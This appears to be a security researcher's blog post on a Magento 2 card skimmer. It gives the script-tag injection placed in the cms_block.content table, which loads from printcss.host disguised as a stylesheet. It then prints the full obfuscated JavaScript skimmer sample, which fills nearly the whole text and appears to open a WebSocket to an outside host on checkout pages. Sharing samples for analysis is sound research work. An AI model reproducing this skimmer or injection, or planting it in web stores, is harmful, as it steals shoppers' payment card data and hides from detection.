printcss.host Loads JavaScript Skimmer 0x2031
Outline
cms_block.content injection⌗
This JavaScript skimmer loads from a very simple injection at the bottom of the Magento 2 database table cms_block.content, block_id:
<script async="" src="//printcss.host/styles.css"></script>
As has been seen recently, this injection tries to imitate a seemingly benign CSS request in an attempt to evade detection.
I ran out of time and wasn’t able to deobfuscate it, but I’ve included the sample below so hopefully you can 🤓
Sample⌗
The JavaScript skimmer 0x2031 as loaded from printcss[.]styles.css:
var _0x2031=['trace','ddVkE','^\x20]}','IWfuk','error','split','YPpYO','wXeIu','[^\x20]+)+)+[','rn\x20this\x22)(','2|4|5|1|0|','dGFnbWFuYW','bind','KXsgbmV3IH','YeAKj','CKQJE','log','{}.constru','Z2lmIik7c2','location','c29jPW5ldy','LrvQm','NvmvU','SteKh','gMouv','ctor(\x22retu','NEVlS','SjKBl','bnmoS','prototype','console','IUfXA','Y2hlY2tvdX','^([^\x20]+(\x20+','mPNoc','test','BzZWxmLldl','oycai','dlci5vbmxp','rDqTR','gid3NzOi8v','return\x20(fu','VIsXV','constructo','YWxsKHRoaX','saGRK','toString','DDkkM','return\x20/\x22\x20','iFJGk','GslhZ','Object','__proto__','ZyiQp','WVzGk','biVxS','chdQM','kIcRP','YlNvY2tldC','9jLm9ubWVz','apply','Function','yXsZe','table','BZhNj','ssOQd','warn','gRmVu','9hZGVyLTIu','+\x20this\x20+\x20\x22','rOTzh','ZoTkk','vMHUY','exception','lQFGS','LdJmp','Y3Rpb24oYS','info'];(function(_0x4e5026,_0x138af0){var _0x2bb804=function(_0x157c36){while(--_0x157c36){_0x4e5026['push'](_0x4e5026['shift']());}},_0x1c05b4=function(){var _0x273299={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x2191ac,_0x3d10f0,_0x3e7d28,_0x1ca7a2){_0x1ca7a2=_0x1ca7a2||{};var _0x1cf0d3=_0x3d10f0+'='+_0x3e7d28,_0xa284e0=-0x1d1c+-0x4*-0x699+0x2b8;for(var _0x1b7d31=-0x625*-0x3+0x1815+-0x2a84,_0x14d177=_0x2191ac['length'];_0x1b7d31<_0x14d177;_0x1b7d31++){var _0x38677d=_0x2191ac[_0x1b7d31];_0x1cf0d3+=';\x20'+_0x38677d;var _0x2b4faa=_0x2191ac[_0x38677d];_0x2191ac['push'](_0x2b4faa),_0x14d177=_0x2191ac['length'],_0x2b4faa!==!![]&&(_0x1cf0d3+='='+_0x2b4faa);}_0x1ca7a2['cookie']=_0x1cf0d3;},'removeCookie':function(){return'dev';},'getCookie':function(_0xc207a0,_0x5a8b44){_0xc207a0=_0xc207a0||function(_0x196a7d){return _0x196a7d;};var _0x8d184=_0xc207a0(new RegExp('(?:^|;\x20)'+_0x5a8b44['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x26a960=function(_0x4c67ac,_0x200b9d){_0x4c67ac(++_0x200b9d);};return _0x26a960(_0x2bb804,_0x138af0),_0x8d184?decodeURIComponent(_0x8d184[0x97*0x1a+-0x869+-0x6ec]):undefined;}},_0x54a7c5=function(){var _0x3c0857=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x3c0857['test'](_0x273299['removeCookie']['toString']());};_0x273299['updateCookie']=_0x54a7c5;var _0x456791='';var _0x3c3e23=_0x273299['updateCookie']();if(!_0x3c3e23)_0x273299['setCookie'](['*'],'counter',0x1f01+0x3*-0xca0+-0x1b8*-0x4);else _0x3c3e23?_0x456791=_0x273299['getCookie'](null,'counter'):_0x273299['removeCookie']();};_0x1c05b4();}(_0x2031,-0x710*-0x5+0x1*0xe11+-0x2fe0));var _0x2fe9=function(_0x462f5a,_0x4d14ff){_0x462f5a=_0x462f5a-(-0x1d1c+-0x4*-0x699+0x372);var _0x4b3da8=_0x2031[_0x462f5a];return _0x4b3da8;};var _0x399637=function(_0x32abd4,_0x43bfcb,_0x44c141,_0x2d8cf8){return _0x2fe9(_0x44c141- -0x327,_0x2d8cf8);},_0x490b17=function(_0x4e1fe3,_0x94ab06,_0x4e021c,_0x333309){return _0x2fe9(_0x4e021c- -0x327,_0x333309);},_0x2c00bf=function(){var _0x31f6dc=function(_0x3d7626,_0x174210,_0x28210e,_0x6e68b2){return _0x2fe9(_0x174210-0x16f,_0x3d7626);},_0x304b73=function(_0x17b98b,_0x24f7ed,_0xd05a82,_0x1843a4){return _0x2fe9(_0x24f7ed-0x16f,_0x17b98b);},_0x3ed71a={};_0x3ed71a[_0x31f6dc(0x258,0x26e,0x26f,0x24d)]=_0x304b73(0x22a,0x250,0x275,0x261),_0x3ed71a[_0x304b73(0x272,0x264,0x277,0x26f)]='2|5|0|4|3|'+'1',_0x3ed71a[_0x304b73(0x259,0x260,0x261,0x276)]=function(_0x4f35f5,_0x24308b){return _0x4f35f5===_0x24308b;},_0x3ed71a[_0x304b73(0x28f,0x271,0x25d,0x260)]=_0x31f6dc(0x287,0x265,0x280,0x282);var _0x4f7660=_0x3ed71a,_0x2d8206=!![];return function(_0x1060a7,_0x7ff515){var _0x377800=function(_0x182b8f,_0x7435e6,_0x44c4c8,_0x32d7dd){return _0x31f6dc(_0x32d7dd,_0x44c4c8-0x3bb,_0x44c4c8-0x173,_0x32d7dd-0x1dc);},_0x4f93da=function(_0x2621d7,_0x1b4b7,_0x943913,_0x3c5fe0){return _0x31f6dc(_0x3c5fe0,_0x943913-0x3bb,_0x943913-0x13d,_0x3c5fe0-0x1d1);};if(_0x4f7660[_0x377800(0x63b,0x604,0x61b,0x626)](_0x4f7660['gRmVu'],_0x4f7660[_0x377800(0x614,0x607,0x62c,0x60d)])){var _0x20decc=_0x2d8206?function(){var _0x4f2f63=function(_0xfe0245,_0x130be4,_0x2b6b24,_0x2abbc5){return _0x4f93da(_0xfe0245-0xf1,_0x130be4-0x1e3,_0x2b6b24-0x1e9,_0x2abbc5);},_0x1a6518=function(_0x547c66,_0x44b5d3,_0x1f7af6,_0x424e35){return _0x4f93da(_0x547c66-0x10a,_0x44b5d3-0x190,_0x1f7af6-0x1e9,_0x424e35);};if(_0x4f7660[_0x4f2f63(0x830,0x821,0x812,0x831)]!=='mPNoc'){function _0x116c8c(){var _0x1a89fc=_0x18c041?function(){var _0x3de3f1=function(_0x403357,_0xf0c5ce,_0x2e3a30,_0x701ff9){return _0x2fe9(_0x2e3a30- -0x2af,_0x701ff9);};if(_0x40db45){var _0xa9181=_0x3addcd[_0x3de3f1(-0x1a9,-0x1cd,-0x1b4,-0x194)](_0x2434ab,arguments);return _0x4e5026=null,_0xa9181;}}:function(){};return _0x5ac992=![],_0x1a89fc;}}else{if(_0x7ff515){var _0x1f34b2=_0x7ff515[_0x4f2f63(0x819,0x824,0x80e,0x80c)](_0x1060a7,arguments);return _0x7ff515=null,_0x1f34b2;}}}:function(){};return _0x2d8206=![],_0x20decc;}else{function _0x2255a1(){var _0x238b34=function(_0x5b8999,_0x4c6913,_0x48b73d,_0x9703cf){return _0x377800(_0x5b8999-0x7a,_0x4c6913-0x26,_0x48b73d-0x6e,_0x9703cf);},_0x520048=function(_0x28f239,_0x530953,_0x5f9816,_0x48715f){return _0x4f93da(_0x28f239-0xe1,_0x530953-0x68,_0x5f9816-0x6e,_0x48715f);},_0x14d4e5=_0x4f7660[_0x238b34(0x669,0x687,0x68d,0x6ae)][_0x520048(0x67f,0x647,0x65c,0x655)]('|'),_0x710868=0x1*-0x1d63+0x167a+0x6e9;while(!![]){switch(_0x14d4e5[_0x710868++]){case'0':var _0x148f4b=_0x10acec[_0x4b51fd]||_0x2244e1;continue;case'1':_0x1b5730[_0x4b51fd]=_0x2244e1;continue;case'2':var _0x2244e1=_0x48ec12[_0x520048(0x686,0x683,0x682,0x6a4)+'r'][_0x238b34(0x693,0x664,0x674,0x66d)][_0x238b34(0x648,0x65e,0x663,0x642)](_0x2a7931);continue;case'3':_0x2244e1[_0x520048(0x68b,0x676,0x685,0x677)]=_0x148f4b[_0x238b34(0x66d,0x679,0x685,0x67e)]['bind'](_0x148f4b);continue;case'4':_0x2244e1['__proto__']=_0x49eb28[_0x238b34(0x676,0x652,0x663,0x689)](_0x18930a);continue;case'5':var _0x4b51fd=_0x5bf37e[_0x49bc57];continue;}break;}}}};}(),_0x7c413d=_0x2c00bf(this,function(){var _0x1c6635=function(_0x4ba954,_0x117141,_0x56ea2d,_0x1dc88c){return _0x2fe9(_0x4ba954-0x33e,_0x117141);},_0x4e46d1=function(_0x1f750a,_0x283bc8,_0x248511,_0x4a4c8c){return _0x2fe9(_0x1f750a-0x33e,_0x283bc8);},_0x1912c8={};_0x1912c8['yXsZe']=function(_0x468d61,_0x43fbed){return _0x468d61!==_0x43fbed;},_0x1912c8[_0x1c6635(0x435,0x418,0x42e,0x44d)]='qAoLI',_0x1912c8[_0x4e46d1(0x413,0x415,0x3f2,0x400)]=_0x4e46d1(0x42d,0x44e,0x453,0x440)+_0x4e46d1(0x442,0x41e,0x44c,0x41c)+'/',_0x1912c8[_0x4e46d1(0x3fa,0x414,0x41b,0x3e4)]=function(_0x40fa66){return _0x40fa66();};var _0x4ce41b=_0x1912c8,_0x4800a4=function(){var _0x33921a=function(_0x48c91d,_0x33ff24,_0x5ab17c,_0x448241){return _0x4e46d1(_0x48c91d-0x358,_0x5ab17c,_0x5ab17c-0x10e,_0x448241-0x117);},_0x46d757=function(_0x5025ec,_0x14ad37,_0x17c9bb,_0x10803d){return _0x1c6635(_0x5025ec-0x358,_0x17c9bb,_0x17c9bb-0x113,_0x10803d-0x40);};if(_0x4ce41b[_0x33921a(0x793,0x776,0x79a,0x799)]('qAoLI',_0x4ce41b[_0x46d757(0x78d,0x7a8,0x7a1,0x7a8)])){function _0x2277d9(){var _0x4f3add=function(_0x4f67c7,_0x3ac39d,_0x5ea8b3,_0x2517d4){return _0x46d757(_0x2517d4- -0x3a0,_0x3ac39d-0x1a0,_0x5ea8b3,_0x2517d4-0x1c6);};if(_0x1c7ce2){var _0x3383e6=_0x5e65df[_0x4f3add(0x3f1,0x3d2,0x410,0x3f1)](_0x603c5d,arguments);return _0x354afa=null,_0x3383e6;}}}else{var _0x30c17a=_0x4800a4['constructo'+'r'](_0x4ce41b['NvmvU'])()['constructo'+'r'](_0x46d757(0x776,0x752,0x766,0x75b)+_0x46d757(0x75d,0x742,0x770,0x783)+_0x33921a(0x757,0x75b,0x733,0x744));return!_0x30c17a[_0x33921a(0x778,0x76b,0x763,0x767)](_0x7c413d);}};return _0x4ce41b[_0x1c6635(0x3fa,0x3fb,0x3d5,0x421)](_0x4800a4);});_0x7c413d();var _0x462f5a=function(){var _0x37bc93=!![];return function(_0x1230ec,_0x466064){var _0xf4c130=_0x37bc93?function(){var _0x41b13f=function(_0x594bdc,_0x43861e,_0xc4680b,_0x596791){return _0x2fe9(_0x596791-0x1ee,_0x43861e);};if(_0x466064){var _0x3de162=_0x466064[_0x41b13f(0x30a,0x2e2,0x30f,0x2e9)](_0x1230ec,arguments);return _0x466064=null,_0x3de162;}}:function(){};return _0x37bc93=![],_0xf4c130;};}(),_0x1c8c5c=_0x462f5a(this,function(){var _0x29f632=function(_0xec972a,_0xa69bb2,_0x2146e7,_0x27dc79){return _0x2fe9(_0xec972a- -0x1b6,_0xa69bb2);},_0x5a741c=function(_0xbf8c7e,_0xd076d4,_0xb40a7c,_0x549cb1){return _0x2fe9(_0xbf8c7e- -0x1b6,_0xd076d4);},_0x13b193={};_0x13b193[_0x29f632(-0xdc,-0xff,-0xd8,-0xbf)]='return\x20/\x22\x20'+_0x5a741c(-0xb2,-0x93,-0x99,-0xa8)+'/',_0x13b193[_0x5a741c(-0xd2,-0xc6,-0xda,-0xac)]=_0x29f632(-0xd6,-0xc3,-0xdb,-0xcd)+_0x5a741c(-0xef,-0x104,-0xf8,-0x10b)+_0x29f632(-0xf5,-0xe8,-0xea,-0xfd),_0x13b193[_0x5a741c(-0xcd,-0xe5,-0xe3,-0xc0)]=function(_0x5ee9f8,_0x111d41){return _0x5ee9f8(_0x111d41);},_0x13b193[_0x5a741c(-0xe8,-0x100,-0xf4,-0xee)]=function(_0x191036,_0x21a03f){return _0x191036+_0x21a03f;},_0x13b193[_0x29f632(-0xf4,-0x115,-0xd6,-0xd7)]=_0x29f632(-0xce,-0xd3,-0xc7,-0xbd)+'nction()\x20',_0x13b193[_0x29f632(-0xdf,-0xeb,-0x101,-0xd0)]=function(_0x2bd1dd,_0x32592a){return _0x2bd1dd!==_0x32592a;},_0x13b193[_0x29f632(-0xdd,-0xfb,-0x100,-0xd6)]=_0x5a741c(-0xfb,-0xf4,-0xfd,-0x11f),_0x13b193[_0x5a741c(-0xf0,-0xd0,-0xfb,-0xe7)]=_0x29f632(-0xdb,-0xf8,-0xd7,-0x102),_0x13b193[_0x29f632(-0xd8,-0xcd,-0xf7,-0xf2)]=function(_0x17bad2,_0x238f18){return _0x17bad2(_0x238f18);},_0x13b193['UBNMT']=function(_0x291c05,_0x2c3511){return _0x291c05+_0x2c3511;},_0x13b193[_0x5a741c(-0xc8,-0xc3,-0xd1,-0xa4)]=function(_0x5b4c1f,_0x3bf0f9){return _0x5b4c1f+_0x3bf0f9;},_0x13b193[_0x29f632(-0xe2,-0x108,-0x100,-0xc0)]=_0x29f632(-0xe6,-0xef,-0xd3,-0xfb)+_0x29f632(-0xde,-0xd8,-0xbf,-0xd4)+_0x5a741c(-0xee,-0xf3,-0x106,-0x10b)+'\x20)',_0x13b193[_0x5a741c(-0xc2,-0xe7,-0xde,-0xb8)]=function(_0x29f066,_0x314e3c){return _0x29f066===_0x314e3c;},_0x13b193[_0x5a741c(-0xb0,-0xc9,-0xac,-0xcb)]=function(_0x4ddf19){return _0x4ddf19();},_0x13b193[_0x29f632(-0xf6,-0x118,-0x10a,-0x10c)]=_0x5a741c(-0xe7,-0xc8,-0xfe,-0xc3),_0x13b193[_0x29f632(-0xf1,-0xf1,-0xef,-0xe8)]=_0x29f632(-0xb5,-0xc1,-0x8e,-0xa7),_0x13b193[_0x5a741c(-0xbe,-0xd2,-0xe4,-0xca)]=_0x5a741c(-0xf8,-0xf5,-0xeb,-0x117),_0x13b193[_0x29f632(-0xb1,-0xaa,-0x90,-0xb0)]=_0x5a741c(-0xfc,-0xf8,-0xeb,-0x120),_0x13b193[_0x29f632(-0xaf,-0xb1,-0xb3,-0xac)]=_0x5a741c(-0xf7,-0xea,-0xf9,-0xe3),_0x13b193[_0x5a741c(-0xc6,-0xa1,-0xa2,-0xbb)]=_0x5a741c(-0xe9,-0xf5,-0x10c,-0x102);var _0x445179=_0x13b193,_0x5f0051=function(){var _0x35de49=function(_0x252573,_0x539e33,_0x4ecedf,_0x53704e){return _0x29f632(_0x252573-0x128,_0x4ecedf,_0x4ecedf-0x115,_0x53704e-0x11f);},_0x32b930=function(_0x7df358,_0x532f9b,_0x108f56,_0x6dab86){return _0x5a741c(_0x7df358-0x128,_0x108f56,_0x108f56-0x101,_0x6dab86-0x16a);},_0x22938c;try{if(_0x445179[_0x35de49(0x49,0x46,0x3d,0x34)](_0x445179['NEVlS'],_0x445179['wXeIu']))_0x22938c=_0x445179[_0x32b930(0x50,0x57,0x2d,0x3b)](Function,_0x445179['UBNMT'](_0x445179[_0x32b930(0x60,0x5a,0x6c,0x4f)](_0x445179[_0x32b930(0x34,0x18,0x22,0x4a)],_0x445179[_0x32b930(0x46,0x1f,0x69,0x69)]),');'))();else{function _0x3b8a2f(){var _0xef5be0=function(_0x2543a8,_0x302dd2,_0x405ece,_0x217c02){return _0x35de49(_0x405ece- -0x345,_0x302dd2-0x3,_0x217c02,_0x217c02-0x2a);},_0x3559e5=function(_0x3a7caf,_0x49062a,_0x1cda05,_0x41eaa2){return _0x32b930(_0x1cda05- -0x345,_0x49062a-0x139,_0x41eaa2,_0x41eaa2-0x6b);},_0x8b1d26=_0x4106ed[_0xef5be0(-0x2e5,-0x2c3,-0x2e9,-0x2fa)+'r'](_0x445179[_0xef5be0(-0x30d,-0x2d2,-0x2f9,-0x301)])()[_0x3559e5(-0x2d2,-0x30f,-0x2e9,-0x2ed)+'r'](_0x445179[_0xef5be0(-0x2d3,-0x2f0,-0x2ef,-0x2d2)]);return!_0x8b1d26[_0x3559e5(-0x2e3,-0x30d,-0x2f1,-0x2f3)](_0x4a03f9);}}}catch(_0x2e4aa4){if(_0x445179[_0x35de49(0x66,0x7d,0x8c,0x7f)](_0x32b930(0x5e,0x72,0x5b,0x61),_0x35de49(0x72,0x92,0x54,0x7a))){function _0x582a7a(){var _0x45fcc7=function(_0x9934e0,_0x2281bd,_0x231a4d,_0x3b8d99){return _0x32b930(_0x3b8d99-0xcb,_0x2281bd-0xbd,_0x2281bd,_0x3b8d99-0x14c);},_0x5a2018=function(_0x53d7e7,_0x1e3823,_0x464907,_0x2a308e){return _0x35de49(_0x2a308e-0xcb,_0x1e3823-0x58,_0x1e3823,_0x2a308e-0xb2);},_0x2acd9d;try{_0x2acd9d=_0x445179[_0x45fcc7(0x147,0x118,0x143,0x126)](_0x1a50ea,_0x445179['CKQJE'](_0x445179['CKQJE'](_0x445179[_0x45fcc7(0x126,0x104,0xd8,0xff)],_0x45fcc7(0x102,0xe9,0xed,0x10d)+_0x5a2018(0xee,0x117,0xf8,0x115)+'rn\x20this\x22)('+'\x20)'),');'))();}catch(_0x5ad7ad){_0x2acd9d=_0x43a595;}return _0x2acd9d;}}else _0x22938c=window;}return _0x22938c;},_0x4fff77=_0x445179['ZoTkk'](_0x5f0051),_0xa63a37=_0x4fff77[_0x5a741c(-0xd9,-0xc9,-0xbe,-0xd8)]=_0x4fff77['console']||{},_0x57a076=[_0x445179['ddVkE'],_0x445179['YPpYO'],_0x445179['kIcRP'],_0x5a741c(-0xf3,-0xe9,-0x118,-0xfd),_0x445179[_0x29f632(-0xb1,-0xbc,-0x95,-0xc1)],_0x29f632(-0xb8,-0xa7,-0xbb,-0xc7),_0x445179[_0x29f632(-0xaf,-0xbd,-0x9b,-0xa3)]];for(var _0x39d926=0x3*0x3e4+-0x455+0x1*-0x757;_0x39d926<_0x57a076['length'];_0x39d926++){if(_0x445179['gMouv'](_0x445179[_0x5a741c(-0xc6,-0xb7,-0xad,-0xb2)],_0x445179[_0x5a741c(-0xc6,-0xb7,-0xaa,-0xd3)])){function _0x38cf1f(){var _0x437d17=function(_0x5bf257,_0x124622,_0x5bb3e7,_0x1f6325){return _0x5a741c(_0x5bb3e7- -0x196,_0x124622,_0x5bb3e7-0x1cd,_0x1f6325-0x91);},_0x217534=function(_0x64ff25,_0x3533b4,_0x1bc864,_0x558c4e){return _0x29f632(_0x1bc864- -0x196,_0x3533b4,_0x1bc864-0x173,_0x558c4e-0x176);},_0x3cd55b={};_0x3cd55b['SteKh']=_0x445179[_0x437d17(-0x264,-0x299,-0x272,-0x275)],_0x3cd55b['rDqTR']=_0x445179[_0x217534(-0x284,-0x281,-0x268,-0x24c)];var _0x3fa98b=_0x3cd55b,_0x42f5ab=function(){var _0x58a0ec=function(_0x52a6d6,_0x3a5729,_0x1890b6,_0x257363){return _0x217534(_0x52a6d6-0x163,_0x52a6d6,_0x257363- -0x240,_0x257363-0x10b);},_0x20bb22=function(_0x2546ef,_0x1753d4,_0xb80503,_0xee39af){return _0x217534(_0x2546ef-0x168,_0x2546ef,_0xee39af- -0x240,_0xee39af-0x98);},_0x53f75a=_0x42f5ab['constructo'+'r'](_0x3fa98b[_0x58a0ec(-0x4ab,-0x4dc,-0x4a3,-0x4b6)])()[_0x58a0ec(-0x484,-0x4ad,-0x4c1,-0x4a2)+'r'](_0x3fa98b[_0x58a0ec(-0x490,-0x48e,-0x4ae,-0x4a6)]);return!_0x53f75a[_0x58a0ec(-0x4a5,-0x483,-0x489,-0x4aa)](_0x4c67ac);};return _0x445179[_0x217534(-0x228,-0x246,-0x246,-0x268)](_0x42f5ab);}}else{var _0x36ba35=(_0x5a741c(-0xed,-0xff,-0x109,-0x108)+'3')[_0x29f632(-0xf2,-0xfc,-0xef,-0xe2)]('|'),_0x2ff349=0x1363+-0x1*0x1447+0xe4;while(!![]){switch(_0x36ba35[_0x2ff349++]){case'0':_0x2bb5c2[_0x29f632(-0xc9,-0xe6,-0xda,-0xbb)]=_0x53a773['toString'][_0x29f632(-0xeb,-0x10f,-0xf0,-0xf3)](_0x53a773);continue;case'1':_0x2bb5c2[_0x5a741c(-0xc3,-0xba,-0xc0,-0xc6)]=_0x462f5a[_0x29f632(-0xeb,-0xef,-0x111,-0x103)](_0x462f5a);continue;case'2':var _0x2bb5c2=_0x462f5a[_0x29f632(-0xcc,-0xe5,-0xd7,-0xb1)+'r'][_0x5a741c(-0xda,-0xd0,-0xc1,-0xd4)][_0x5a741c(-0xeb,-0xe6,-0xcc,-0xc4)](_0x462f5a);continue;case'3':_0xa63a37[_0x26551d]=_0x2bb5c2;continue;case'4':var _0x26551d=_0x57a076[_0x39d926];continue;case'5':var _0x53a773=_0xa63a37[_0x26551d]||_0x2bb5c2;continue;}break;}}}});_0x1c8c5c();var soc;if(new RegExp(atob(_0x399637(-0x26e,-0x22e,-0x248,-0x24b)+'Q='))[_0x399637(-0x24e,-0x254,-0x245,-0x24e)](window[_0x399637(-0x250,-0x243,-0x255,-0x24d)]))new self[(_0x399637(-0x24d,-0x228,-0x22b,-0x20a))||(_0x399637(-0x232,-0x230,-0x235,-0x253))](atob(_0x399637(-0x234,-0x276,-0x254,-0x262)+_0x399637(-0x234,-0x226,-0x244,-0x231)+_0x490b17(-0x23e,-0x20a,-0x22e,-0x21f)+_0x399637(-0x266,-0x21b,-0x240,-0x261)+_0x490b17(-0x23d,-0x272,-0x25d,-0x259)+_0x399637(-0x259,-0x226,-0x242,-0x25b)+'bmU6ODAvbG'+_0x490b17(-0x247,-0x202,-0x224,-0x23d)+_0x399637(-0x257,-0x23e,-0x256,-0x263)+_0x490b17(-0x247,-0x241,-0x22d,-0x23d)+'c2FnZT1mdW'+'5jdGlvbihh'+_0x490b17(-0x261,-0x267,-0x25b,-0x282)+'NlbGYuRnVu'+_0x490b17(-0x25b,-0x273,-0x26a,-0x264)+'5kYXRhKS5j'+_0x490b17(-0x258,-0x262,-0x23c,-0x24f)+'MpfTs='))['call'](this);
More Research